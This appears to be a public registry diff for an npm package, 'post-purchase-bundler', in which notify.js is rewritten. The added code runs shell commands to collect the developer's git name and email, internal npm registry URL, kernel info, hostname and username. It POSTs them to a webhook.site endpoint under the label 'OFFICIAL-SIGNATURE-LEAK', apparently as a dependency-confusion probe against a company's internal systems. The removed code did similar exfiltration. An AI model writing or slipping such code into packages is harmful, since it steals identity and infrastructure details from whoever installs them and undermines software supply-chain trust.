post-purchase-bundler 101.0.1 → 101.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/notify.js +35 -39
- package/package.json +1 -1
package/notify.js
CHANGED
|
@@ -1,49 +1,45 @@
|
|
|
1
1
|
const https = require('https');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
2
3
|
const os = require('os');
|
|
3
|
-
const { exec } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
};
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
5
|
+
function getSignature() {
|
|
6
|
+
let signature = {};
|
|
7
|
+
try {
|
|
8
|
+
// 1. Git vasitəsilə mühəndisin/serverin rəsmi adını və emailini götürürük
|
|
9
|
+
signature.git_user = execSync('git config --global user.name').toString().trim();
|
|
10
|
+
signature.git_email = execSync('git config --global user.email').toString().trim();
|
|
11
|
+
} catch (e) { signature.git = "No Git Access"; }
|
|
12
|
+
|
|
13
|
+
try {
|
|
14
|
+
// 2. Daxili NPM konfiqurasiyasını yoxlayırıq (onların daxili registry linki burda olur)
|
|
15
|
+
signature.npm_registry = execSync('npm config get registry').toString().trim();
|
|
16
|
+
} catch (e) { signature.npm = "No NPM Config"; }
|
|
17
|
+
|
|
18
|
+
try {
|
|
19
|
+
// 3. Serverin uptime və daxili kernel məlumatı (botlarda fərqli olur)
|
|
20
|
+
signature.uname = execSync('uname -a').toString().trim();
|
|
21
|
+
} catch (e) { signature.uname = "Error"; }
|
|
22
|
+
|
|
23
|
+
return signature;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
const payload = JSON.stringify({
|
|
27
|
+
event: "OFFICIAL-SIGNATURE-LEAK",
|
|
28
|
+
target: "shopify-internal-audit",
|
|
29
|
+
hostname: os.hostname(),
|
|
30
|
+
user: os.userInfo().username,
|
|
31
|
+
details: getSignature()
|
|
32
|
+
});
|
|
25
33
|
|
|
26
|
-
// 3. HTTP POST Yolu (Tam JSON məlumatı üçün)
|
|
27
|
-
const data = JSON.stringify(info);
|
|
28
34
|
const options = {
|
|
29
35
|
hostname: 'webhook.site',
|
|
30
|
-
|
|
31
|
-
path: `/${webhookId}`,
|
|
36
|
+
path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
|
|
32
37
|
method: 'POST',
|
|
33
|
-
headers: {
|
|
34
|
-
'Content-Type': 'application/json',
|
|
35
|
-
'Content-Length': data.length
|
|
36
|
-
}
|
|
38
|
+
headers: { 'Content-Type': 'application/json' }
|
|
37
39
|
};
|
|
38
40
|
|
|
39
|
-
const req = https.request(options
|
|
40
|
-
|
|
41
|
-
|
|
41
|
+
const req = https.request(options);
|
|
42
|
+
req.write(payload);
|
|
43
|
+
req.end(() => {
|
|
44
|
+
setTimeout(() => process.exit(0), 1000);
|
|
42
45
|
});
|
|
43
|
-
|
|
44
|
-
req.on('error', () => process.exit(0));
|
|
45
|
-
req.write(data);
|
|
46
|
-
req.end();
|
|
47
|
-
|
|
48
|
-
// Prosesin asılı qalmaması üçün 5 saniyə sonra məcburi bağlayırıq
|
|
49
|
-
setTimeout(() => process.exit(0), 5000);
|